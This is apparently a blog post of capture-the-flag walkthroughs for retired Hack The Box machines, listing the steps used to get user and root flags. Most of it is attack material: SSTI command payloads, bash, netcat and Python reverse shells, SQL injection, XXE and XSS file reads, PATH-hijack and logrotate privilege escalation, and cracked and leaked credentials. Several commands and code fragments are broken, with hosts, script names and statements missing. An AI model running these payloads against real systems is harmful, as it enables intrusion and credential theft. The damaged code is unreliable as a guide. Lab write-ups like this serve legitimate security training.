Because there already exists so many writeups on these retired boxes, I decided to just list the interesting boxes I’ve completed, and the general approach I took to solve them.

There are more boxes done than displayed here, because some of them were really simple (metasploit one-liner) and hence not really worth including.

Easy Boxes



  1. wfuzz to find subdomain

We find the page store.nunchucks.htb

  1. SSTI

When entering the email, its vulnerable to SSTI

Enter as email {{range.constructor("return global.process.mainModule.require('child_process').execSync('cat /home/david/user.txt')")()}}

  1. SSH
  • Enter as email {{range.constructor("return global.process.mainModule.require('child_process').execSync('mkdir /home/david/.ssh')")()}}
  • Enter as email {{range.constructor("return global.process.mainModule.require('child_process').execSync('touch /home/david/.ssh/authorized_keys')")()}}
  • Enter as email {{range.constructor("return global.process.mainModule.require('child_process').execSync('echo >> /home/david/.ssh/authorized_keys')")()}}


Find /opt/, and it runs POSIX::setuid(0);, which means that perl has setuid capabilities

but this fails. We find an AppArmor bug instead

use POSIX qw(strftime);
use POSIX qw(setuid);

exec "cat /root/root.txt"

$ ./



  1. Get the token for JWT signing
  • download the entire folder
  • git log
  • git checkout the suspicious one
  • get the keys
  1. theadmin

looking at the code, it only checks for the value 'name':'theadmin' to be authenticated as admin

craft a jwt with the value 'name':'theadmin' and sign it with the key found earlier

  1. /api/logs

looking at the source code, we see the any requests to /api/logs?file= will execute a shell command

we can inject commands by sending ;

url encode a reverse shell, and we get a connection as dasith

cat /home/dasith/user.txt


  1. find SUID
$ find / -perm -u=s -type f 2>/dev/null
$ /opt/count

/opt/count reads a file and prints the count of words/lines

  1. Trigger a crash

we see that valgrind does crash report analysis

the run /opt/count and read in /root/root.txt and trigger a crash

$ ps aux | grep count
$ kill -BUS 

the crash data is located at /var/crash/_opt_count.1000.crash

  1. getting data from the crash
$ apport-unpack _opt_count.1000.crash /tmp/crashed
$ cd /tmp/crash
$ strings CoreDump

find the root flag value in the CoreDump



  1. nmap TCP UDP

TCP: 23

UDP: 161

  1. SNMP Exploit

Connecting via telnet, we see that its running HP JetDirect, which has a vulnerability that allows passwords to be exfiltrated through SNMP

snmpwalk -v 2c -c public .

Decode the hex, and you get the password for telnet

  1. telnet exec reverse shell

Once in telnet, you can exec commands, and read the user flag, or create a reverse shell connection


  1. Port Forwarding

We see a service running on port 631

Use chisel to port forward

sudo ./chisel server -p 8000 --reverse

./chisel client :8000 R:631:
  1. CUPS vulnerability

Under Administrator->View Error Log, it reads whatever file is set as ErrorLog at the back end

cupsctl ErrorLog="/root/root.txt"



  1. enumerate subdomains

`wfuzz -w /subdomains-top1million-110000.txt -u http://horizontall.htb/ -hc 301 -v -c -H "Host: FUZZ.horizontall.htb"

We find api-prod.horizontall.htb

  1. enumerating subdirectories

gobuster dir -u api-prod.horizontall.htb -w /usr/share/wordlists/dirb/common.txt

We get /admin as a subdirectoy, and going to it, we get redirected to /login

  1. RCE 1 – Reset Password

This exploit allows you to reset the password for the user admin, and set it to SuperStringPassword1

  1. Logging in as admin and RCE 2

This exploit requires the JWT generated by RCE, and it allows you to perform RCE.

Naturally, we call a reverse shell

python3 http://api-prod.horizontall.htb  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM2NzY5MzQzLCJleHAiOjE2MzkzNjEzNDN9.u0Myxy4hAQoKjzE3UXx4YOVH27yGnGFtsEdBxScn9j8 "bash -c 'bash -i >& /dev/tcp/ >&1'" 

With this shell, we can get the user flag


  1. Get listening services

ss -tuan | grep LISTEN

We see that a service is running on port 8000

  1. Port Forwarding

We port forward it to our attacker machine.

On the attacker machine, we copy our public key over to the victim machine, and put it in ~/.ssh/authorized_keys

We then run

ssh -i key -L 8000: strapi@horizontall.htb

  1. RCE 3

Going to localhost:8000 on our attacker machine, we can see the service running of port 8000 on the victim machine

We see that it’s Larvarel v8, which has an RCE

`./ http://localhost:8000 Monolog/RCE1 "cat /root/root.txt"



  1. gobuster to discover directories and find php files
gobuster dir -x php -u -w /usr/share/wordlists/dirb/common.txt

http://previse.htb/login.php            (Status: 200) [Size: 2224]
http://previse.htb/header.php           (Status: 200) [Size: 980] 
http://previse.htb/nav.php              (Status: 200) [Size: 1248]
http://previse.htb/download.php         (Status: 302) [Size: 0] [--> login.php]
http://previse.htb/index.php            (Status: 302) [Size: 2801] [--> login.php]
http://previse.htb/footer.php           (Status: 200) [Size: 217]                 
http://previse.htb/files.php            (Status: 302) [Size: 4914] [--> login.php]
http://previse.htb/css                  (Status: 301) [Size: 308] [--> http://previse.htb/css/]
http://previse.htb/status.php           (Status: 302) [Size: 2968] [--> login.php]             
http://previse.htb/js                   (Status: 301) [Size: 307] [--> http://previse.htb/js/] 
http://previse.htb/logout.php           (Status: 302) [Size: 0] [--> login.php]                
http://previse.htb/accounts.php         (Status: 302) [Size: 3994] [--> login.php]             
http://previse.htb/config.php           (Status: 200) [Size: 0]                                
http://previse.htb/logs.php             (Status: 302) [Size: 0] [--> login.php]                
http://previse.htb/server-status        (Status: 403) [Size: 276]

we see a few php files, most of them with status 302, which is a redirect.

  1. posting a request with while disallowing redirect

looking at the account.php, we can send a post request to add an account

import requests

url = ""

data = {

r =, data=data, allow_redirects=False)


  1. downloading the siteback up and reverse shell

Once we are able to login, we can download the site backup with all the files on the site. We see this file called logs.php, and it accepts a post request, followed by an exec with the POST variable delim

;1|nc 1337 >;/tmp/f"

data = {
        'delim':"; " + shell

r =, data=data, headers=headers)
  1. MySQL db and hashcat

In the site back up, we also see a file config.php, which contains the database credentials.

Within our shell, we can login to MySQL locally, and extract the password

> mysql -u previse -p
Enter password: mySQL_p@ssw0rd!:)
select * from accounts;

id      username        password        created_at
1       m4lwhere        $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.        2021-05-27 18:18:36

using hashcast, we can crack the password

> cat $1$🧂llol$DQpmdvnb7EeuO6UaqRItf > hash

> hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt

Using that password, we ssh into the server and get the user flag

ssh m4lwhere@
cat user.txt


Once in as the user, we see that we can execute /opt/scripts/

upon inspection, it calls a date binary


# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log> /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

We can inject the binary with our own, by creating a binary and adding it to our path

> echo "cp /root/root.txt /home/m4lwhere/" > ~/date

> echo "chmod 777 /home/m4lwhere/root.txt">> ~/date

> export PATH=/home/m4lwhere:$PATH

> sudo ./

> cat /home/m4lwhere/root.txt

This way, the script searches our directory /home/m4lwhere for any binaries named date, and executes it.



  1. Find the upload page
  2. When we submit a form, we see that it sends a POST request to
  3. We also observe the data that was sent over, which is a base64 encoding of an XML file

  1. From this, we can craft our own XML files and send it directly to
prints out all the users

<!DOCTYPE replace [ ]>

get db.php file

<!DOCTYPE replace ]>

After decoding the contents of db.php, we get a password


 Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";

Observing the contents of /etc/passwd, we see that only these 2 accounts have bash shell enabled

  • root
  • development

We try to ssh into the server using development and the password above

> ssh development@

Get in and cat the flag.


It seems like we can’t directly LFI the contents of /home/development/user.txt via the XML exploit due to read permissions. The server was probably under the user www-data, while the permissions of user.txt was o:root g:development


After logging in to get the shell, we see that we can run this command as sudo

sudo -l

/usr/bin/python3.8 /opt/skytrain_inc/

Looking at the script, tldr, eval is bad

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
        print("Wrong file type.")

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")

        if x.startswith("__Ticket Code:__"):
            code_line = i+1

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
        print("Invalid ticket.")


We craft this file that prints the contents of root

# Skytrain Inc
## Ticket to 
__Ticket Code:__



  1. dirbust

Create a new account and dirbust the website. You will see admin.php which you can’t access as a normal user.

  1. roleid = admin

When registering for a new account, use burpsuite to intercept the uploaded data and set roleid=1 to gain access to admin.php

  1. Leaky Laravel Key

Browsing the page and looking at Envrionment Variables, we see that the Laravel APP_KEY is leaked. Using this, there is an exploit to achieve RCE and a reverse shell

  1. Password reuse

Once on the machine, we cat .env to get a password, which is reused by other accounts on the machine, specifically cry0lt3

su cry0lt3

  1. adm group

cry0lt3 is part of the adm group, which allows him to read system logs under /var/log

Navigating to /var/log, we can inspect the audit files using aureport --tty which retrieves all information sent via TTY input

From there, we can sniff the password of mrb3n and get the user flag


  1. sudo composer

Running sudo -l, we see that we can run composer as sudo

Medium Boxes



Login with simple SQL injection

import requests

url = "http://magic.htb/login.php"

data = {
        'username':"admin' or 1=1; --",

r =, data=data)


Upload a malicious image file with php code injected into it.

You can do this via burpsuite to intercept the uploaded file, and add “ somewhere in the data

Name the file image.php.png for the file to be evaluated as a PHP file.

Get a reverse shell with the URL encoded command bash -c 'bash -i >& /dev/tcp// >&1'

Once in, we see that MySQL database is installed, but the mysql binary to interact with the database is missing.

However, we can interact with the database using the PHP mysql module.

setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);                                                                                  
   $stmt = $pdo->query("SELECT * FROM login");                                                 
   $user = $stmt->fetch();                                           
   foreach ($user as $value) {
     echo $value;
     echo "\n";
 } catch (PDOException $e) {                                           
      echo "Error: " . $e->getMessage();
      echo "An SQL Error occurred!";          

From this we get the user password and the flag


SUID is allowed for /bin/sysinfo

We run ltrace on it and find that it calls free with no absolute path.

export PATH=~/:$PATH and create our own free binary to run commands as root, and get the root flag



SQL truncation attack to register admin@book.htb and another password, and now we can login as admin

When the admin views collections of books, it uses html2pdf to generate a PDF

We can submit a book with the name as a javascript to read local files

x=new XMLHttpRequest;

We see the user reader, and we read his SSH key in the same manner

x=new XMLHttpRequest;

Now we can SSH in and get the user flag


We run pspy64 and see logrotate running every few minutes.

There is an exploit with logrotate that we can leverage on

payload: bash -i >& /dev/tcp/ 0>&1

command: cp backups/access.log.1 backups/access.log; ./rotten -p payload /home/reader/backups/access.log

This returns a reverse connection from root, and we can read the root flag



Leak the via burpsuite interception, and modify the GET requests to http://obscurity.htb:8080/../

Command injection is possible via the path sent. We can trigger remote code execution, and thus a reverse shell with

GET /';s%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("",3333))%3bos.dup2(s.fileno(),0)%3bos.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)["/bin/sh","-i"]);' HTTP/1.1

Navigating to /home/robert, we see

check.txt becomes out.txt when it is passed through this program. To reverse the key, we simply switch their positions

$ python3 -d -i out.txt -o /dev/shm/key -k 'Encrypting this file with your key should result in out.txt, make sure your key is correct!'

#           BEGINNING          #
  #        FILE MODE         #
Opening file out.txt...
Writing to /dev/shm/key...

$ cat /dev/shm/key


Using the key alexandrovich, we can do the same for passwordreminder.txt and get the password for robert


Going to /home/robert/BetterSSH/BetterSSH,py, we see that it reads up /etc/shadow, writes the content to /tmp/SSH/<random letters>, and checks if the password you entered is equal to the hash value

This is a typical race condition, and we just need to run this script while executing

while true
        cp /tmp/SSH/* /dev/shm/

After we got the hash of the root password, we crack it with hashcat hashcat -m 1800 -a 0 hash /usr/share/wordlists/rockyou.txt

Switch to user root to get the root flag

%d bloggers like this: